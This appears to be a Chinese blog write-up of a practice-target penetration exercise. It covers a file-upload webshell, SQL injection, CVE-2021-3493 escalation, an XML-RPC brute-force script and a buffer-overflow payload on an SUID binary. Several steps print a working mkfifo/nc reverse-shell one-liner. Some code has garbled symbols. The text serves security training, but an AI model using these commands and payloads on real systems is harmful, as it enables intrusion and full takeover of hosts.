第五周打靶过程及思路

第五周打靶过程及思路,第1张

第五周打靶
第一种方法:利用最新的CVE-2021-3493提权得到root
1.常规主机及端口扫描发现80,8000端口上均运行着http服务
,先尝试登录8000端口,发现505错误,更改提交方式无法得到有效信息

2.登录80端口,发现注册功能,进行注册进入论坛,发现头像处存在文件上传漏洞,
上传木马蚁剑进行连接得到shell,发现得到www-data权限

3.继续进行发现搜索框处存在注入漏洞,bp抓包后保存提交数据sqlmap一把梭,得到管理员
邮箱账号和密码,进行登录,没有发现有用的地方

4.回到蚁剑,lsb_rease -a得到ubuntu详细信息18.0.4,
把CVE-2021-3493上传到服务器后,gcc进行编译,chmod赋予权限后执行,
发现提权成功但是不完整,nc发现缺少-e参数

5.另一种串联攻击方式 ,本机开启侦听端口后,在蚁剑上执行
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.2.15 3333 >/tmp/f

6.获得反dshell,执行编译后的exp文件得到root权限

第二种方法:利用dgb动态调试挖掘缓冲区漏洞
1.首先查看etc下passwd文件,发现socnet账号存在bshell权限,进入socnet文件夹,ls -l
查看文件权限,发现monitor.py运行的python文件,查看运行的程序ps aux | grep monitor.py

2.发现文件里有XML-RPC,是一种远程过程调用方法,使用通过http传递的xml作为载体,可以
使客户端在远程服务器上调用带参数的方法(服务器以url命名)并获取结构化的数据,
xmlrpc是一个集合了xml-rpc服务器与客户端实现模块的包

3.打开monitor文件开始进行代码审计,发现定义的变量与随机数,发现随机值与password文件
相等时会执行参数cmd,

4.修改xmlrpc服务端代码调试是否可以执行漏洞
import xmlrpc.client

with xmlrpc.client.ServerProxy(“http://localhost:8000/”) as proxy:
print(str(proxy.cpu()))

发现执行成功

5,创建新脚本暴力猜取密码
import xmlrpc.client

with xmlrpc.client.ServerProxy(“http://localhost:8000/”) as proxy:
for p in range(1000,10000):
r=str(proxy.secure_cmd(‘whoami’,p)
if not “Wrong” in r:
print§
print®
break

破解出密码为1923,这时目标系统会执行whoami命令

6.开始反dshell
import xmlrpc.client

with xmlrpc.client.ServerProxy(“http://localhost:8000/”) as proxy:
cmd=“rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.2.15 3333 >/tmp/f”
r=str(proxy.secure_cmd(cmd,1923))
print®
成功取得socnet账号权限

  1. 开始试图进一步获得root权限
    ls -l后注意到add_record文件,file add_record查看文件属性,发现其是一个ELF的32位linux
    执行程序,且拥有suid,sgid权限,还有一个peda文件,peda是一个基于python的GDB
    调试脚本,考虑add_record文件是否有堆溢出缓冲区溢出漏洞

8.开始寻找add_record文件的异常提交点,gbb -q ./add_record 输入r开始调试,在每个点输入较多A后
,在留言板模块找到程序的异常提交点,EIP寄存器中保存的数据是cpu接下来运行的下一条指令运行的地址
编号,发现寄存器被覆盖才导致的缓冲区溢出,开始寻找eip寄存器里异常数据的地址

9.python -c “print(‘A’*200)” 不断进行调试位置,确定在100内,用python产生100个特殊字符
pattern create 100然后再次运行r将特殊字符放入备忘录,然后pattern search找到位置为63位

10.disas main 显示主程序汇编代码,通过下断点方式了解具体代码功能是什么,后面@plt的都是c语言的
内建函数,break *地址,添加断点,命令s单步执行,继续观察,观察到vuln-弱点,这个单词,发现不是
一个内建函数,是一个自定义函数,info function查看当前应用程序的使用函数信息,发现setuid函数
以及sysytem函数,backdoor函数,继续disas vuln 查看vuln函数的汇编代码,发现里面使用了strcpy
函数,可能存在缓冲区溢出的一个c语言函数,disas backdoor查看汇编代码,发现使用了一个setuid函数
以及sysytem函数,请求到相应权限后调用了sysytem函数,取得backdoor起始地址,将地址放到eip寄存器
中运行获取到程序运行的root权限,CPU架构顺序颠倒,python -c “import struct;print(‘A’*62+backdoor函数内存地址)”
struct函数是为了颠倒函数的顺序,python -c “import struct;print(‘A’*62+backdoor函数起始内存)”
,构造payload,python -c “import struct;print(’'aa\n1\n1\n1\n +‘A’*62+struct.pack(‘I’,backdoor函数内存地址))”

思路:vuln里面strcpy有缓冲区溢出,把backdoor函数放到溢出区执行,其中的sysytem函数执行了/bin/bash,最终获取权限

11.按q退出调试,python -c “import struct;print(’'aa\n1\n1\n1\n +‘A’*62+struct.pack(‘I’,backdoor函数内存地址))” >payload
生成payload文件,执行gdb调试,输入payload,r

12.cat payload - | ./add_record,输入id后发现获得root权限,再次执行rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.2.15 3333 >/tmp/f
后在kali本机上开启端口,获得到一个更有好的root权限,打靶完成

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/langs/716337.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-04-25
下一篇 2022-04-25

发表评论

登录后才能评论

评论列表(0条)

保存